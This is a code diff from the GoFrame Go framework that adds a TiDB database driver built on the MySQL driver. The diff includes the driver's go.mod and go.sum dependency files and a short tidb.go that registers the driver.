@ -0,0 +1,44 @@
|
||||
module github.com/gogf/gf/contrib/drivers/tidb/v2
|
||||
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.9.7
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/BurntSushi/toml v1.5.0 // indirect
|
||||
github.com/clbanning/mxj/v2 v2.7.0 // indirect
|
||||
github.com/emirpasic/gods/v2 v2.0.0-alpha // indirect
|
||||
github.com/fatih/color v1.18.0 // indirect
|
||||
github.com/fsnotify/fsnotify v1.9.0 // indirect
|
||||
github.com/go-logr/logr v1.4.3 // indirect
|
||||
github.com/go-logr/stdr v1.2.2 // indirect
|
||||
github.com/go-sql-driver/mysql v1.7.1 // indirect
|
||||
github.com/google/uuid v1.6.0 // indirect
|
||||
github.com/gorilla/websocket v1.5.3 // indirect
|
||||
github.com/grokify/html-strip-tags-go v0.1.0 // indirect
|
||||
github.com/magiconair/properties v1.8.10 // indirect
|
||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.16 // indirect
|
||||
github.com/olekukonko/errors v1.1.0 // indirect
|
||||
github.com/olekukonko/ll v0.0.9 // indirect
|
||||
github.com/olekukonko/tablewriter v1.1.0 // indirect
|
||||
github.com/rivo/uniseg v0.2.0 // indirect
|
||||
go.opentelemetry.io/auto/sdk v1.1.0 // indirect
|
||||
go.opentelemetry.io/otel v1.38.0 // indirect
|
||||
go.opentelemetry.io/otel/metric v1.38.0 // indirect
|
||||
go.opentelemetry.io/otel/sdk v1.38.0 // indirect
|
||||
go.opentelemetry.io/otel/trace v1.38.0 // indirect
|
||||
golang.org/x/net v0.40.0 // indirect
|
||||
golang.org/x/sys v0.35.0 // indirect
|
||||
golang.org/x/text v0.25.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
)
|
||||
|
||||
replace (
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 => ../mysql
|
||||
github.com/gogf/gf/v2 => ../../../
|
||||
)
|
||||
81
contrib/drivers/tidb/go.sum
Normal file
81
contrib/drivers/tidb/go.sum
Normal file
@ -0,0 +1,81 @@
|
||||
github.com/BurntSushi/toml v1.5.0 h1:W5quZX/G/csjUnuI8SUYlsHs9M38FC7znL0lIO+DvMg=
|
||||
github.com/BurntSushi/toml v1.5.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
|
||||
github.com/clbanning/mxj/v2 v2.7.0 h1:WA/La7UGCanFe5NpHF0Q3DNtnCsVoxbPKuyBNHWRyME=
|
||||
github.com/clbanning/mxj/v2 v2.7.0/go.mod h1:hNiWqW14h+kc+MdF9C6/YoRfjEJoR3ou6tn/Qo+ve2s=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/emirpasic/gods/v2 v2.0.0-alpha h1:dwFlh8pBg1VMOXWGipNMRt8v96dKAIvBehtCt6OtunU=
|
||||
github.com/emirpasic/gods/v2 v2.0.0-alpha/go.mod h1:W0y4M2dtBB9U5z3YlghmpuUhiaZT2h6yoeE+C1sCp6A=
|
||||
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
|
||||
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
|
||||
github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k=
|
||||
github.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0=
|
||||
github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A=
|
||||
github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI=
|
||||
github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
|
||||
github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
|
||||
github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
|
||||
github.com/go-sql-driver/mysql v1.7.1 h1:lUIinVbN1DY0xBg0eMOzmmtGoHwWBbvnWubQUrtU8EI=
|
||||
github.com/go-sql-driver/mysql v1.7.1/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
|
||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/grokify/html-strip-tags-go v0.1.0 h1:03UrQLjAny8xci+R+qjCce/MYnpNXCtgzltlQbOBae4=
|
||||
github.com/grokify/html-strip-tags-go v0.1.0/go.mod h1:ZdzgfHEzAfz9X6Xe5eBLVblWIxXfYSQ40S/VKrAOGpc=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/magiconair/properties v1.8.10 h1:s31yESBquKXCV9a/ScB3ESkOjUYYv+X0rg8SYxI99mE=
|
||||
github.com/magiconair/properties v1.8.10/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0=
|
||||
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
|
||||
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc=
|
||||
github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/olekukonko/errors v1.1.0 h1:RNuGIh15QdDenh+hNvKrJkmxxjV4hcS50Db478Ou5sM=
|
||||
github.com/olekukonko/errors v1.1.0/go.mod h1:ppzxA5jBKcO1vIpCXQ9ZqgDh8iwODz6OXIGKU8r5m4Y=
|
||||
github.com/olekukonko/ll v0.0.9 h1:Y+1YqDfVkqMWuEQMclsF9HUR5+a82+dxJuL1HHSRpxI=
|
||||
github.com/olekukonko/ll v0.0.9/go.mod h1:En+sEW0JNETl26+K8eZ6/W4UQ7CYSrrgg/EdIYT2H8g=
|
||||
github.com/olekukonko/tablewriter v1.1.0 h1:N0LHrshF4T39KvI96fn6GT8HEjXRXYNDrDjKFDB7RIY=
|
||||
github.com/olekukonko/tablewriter v1.1.0/go.mod h1:5c+EBPeSqvXnLLgkm9isDdzR3wjfBkHR9Nhfp3NWrzo=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII=
|
||||
github.com/rogpeppe/go-internal v1.13.1/go.mod h1:uMEvuHeurkdAXX61udpOXGD/AzZDWNMNyH2VO9fmH0o=
|
||||
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||
go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA=
|
||||
go.opentelemetry.io/auto/sdk v1.1.0/go.mod h1:3wSPjt5PWp2RhlCcmmOial7AvC4DQqZb7a7wCow3W8A=
|
||||
go.opentelemetry.io/otel v1.38.0 h1:RkfdswUDRimDg0m2Az18RKOsnI8UDzppJAtj01/Ymk8=
|
||||
go.opentelemetry.io/otel v1.38.0/go.mod h1:zcmtmQ1+YmQM9wrNsTGV/q/uyusom3P8RxwExxkZhjM=
|
||||
go.opentelemetry.io/otel/metric v1.38.0 h1:Kl6lzIYGAh5M159u9NgiRkmoMKjvbsKtYRwgfrA6WpA=
|
||||
go.opentelemetry.io/otel/metric v1.38.0/go.mod h1:kB5n/QoRM8YwmUahxvI3bO34eVtQf2i4utNVLr9gEmI=
|
||||
go.opentelemetry.io/otel/sdk v1.38.0 h1:l48sr5YbNf2hpCUj/FoGhW9yDkl+Ma+LrVl8qaM5b+E=
|
||||
go.opentelemetry.io/otel/sdk v1.38.0/go.mod h1:ghmNdGlVemJI3+ZB5iDEuk4bWA3GkTpW+DOoZMYBVVg=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.38.0 h1:aSH66iL0aZqo//xXzQLYozmWrXxyFkBJ6qT5wthqPoM=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.38.0/go.mod h1:dg9PBnW9XdQ1Hd6ZnRz689CbtrUp0wMMs9iPcgT9EZA=
|
||||
go.opentelemetry.io/otel/trace v1.38.0 h1:Fxk5bKrDZJUH+AMyyIXGcFAPah0oRcT+LuNtJrmcNLE=
|
||||
go.opentelemetry.io/otel/trace v1.38.0/go.mod h1:j1P9ivuFsTceSWe1oY+EeW3sc+Pp42sO++GHkg4wwhs=
|
||||
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
|
||||
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
|
||||
golang.org/x/net v0.40.0 h1:79Xs7wF06Gbdcg4kdCCIQArK11Z1hr5POQ6+fIYHNuY=
|
||||
golang.org/x/net v0.40.0/go.mod h1:y0hY0exeL2Pku80/zKK7tpntoX23cqL3Oa6njdgRtds=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI=
|
||||
golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
|
||||
golang.org/x/text v0.25.0 h1:qVyWApTSYLk/drJRO5mDlNYskwQznZmkpV2c8q9zls4=
|
||||
golang.org/x/text v0.25.0/go.mod h1:WEdwpYrmk1qmdHvhkSTNPm3app7v4rsT8F2UD6+VHIA=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
49
contrib/drivers/tidb/tidb.go
Normal file
49
contrib/drivers/tidb/tidb.go
Normal file
@ -0,0 +1,49 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
// Package tidb implements gdb.Driver, which supports operations for database TiDB.
|
||||
package tidb
|
||||
|
||||
import (
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
|
||||
"github.com/gogf/gf/contrib/drivers/mysql/v2"
|
||||
)
|
||||
|
||||
// Driver is the driver for TiDB database.
|
||||
//
|
||||
// TiDB is an open-source NewSQL database that supports Hybrid Transactional and Analytical Processing (HTAP).
|
||||
// This driver uses the MySQL protocol to communicate with TiDB database, as TiDB is designed to be highly
|
||||
// compatible with the MySQL protocol.
|
||||
//
|
||||
// Although TiDB is compatible with MySQL protocol, it is packaged as a separate driver component
|
||||
// rather than reusing the mysql adapter directly. This design allows for future extensibility,
|
||||
// such as implementing TiDB-specific features like distributed transactions or optimizations.
|
||||
type Driver struct {
|
||||
*mysql.Driver
|
||||
}
|
||||
|
||||
func init() {
|
||||
var (
|
||||
err error
|
||||
driverObj = New()
|
||||
driverNames = g.SliceStr{"tidb"}
|
||||
)
|
||||
for _, driverName := range driverNames {
|
||||
if err = gdb.Register(driverName, driverObj); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// New creates and returns a driver that implements gdb.Driver, which supports operations for TiDB.
|
||||
func New() gdb.Driver {
|
||||
mysqlDriver := mysql.New().(*mysql.Driver)
|
||||
return &Driver{
|
||||
Driver: mysqlDriver,
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user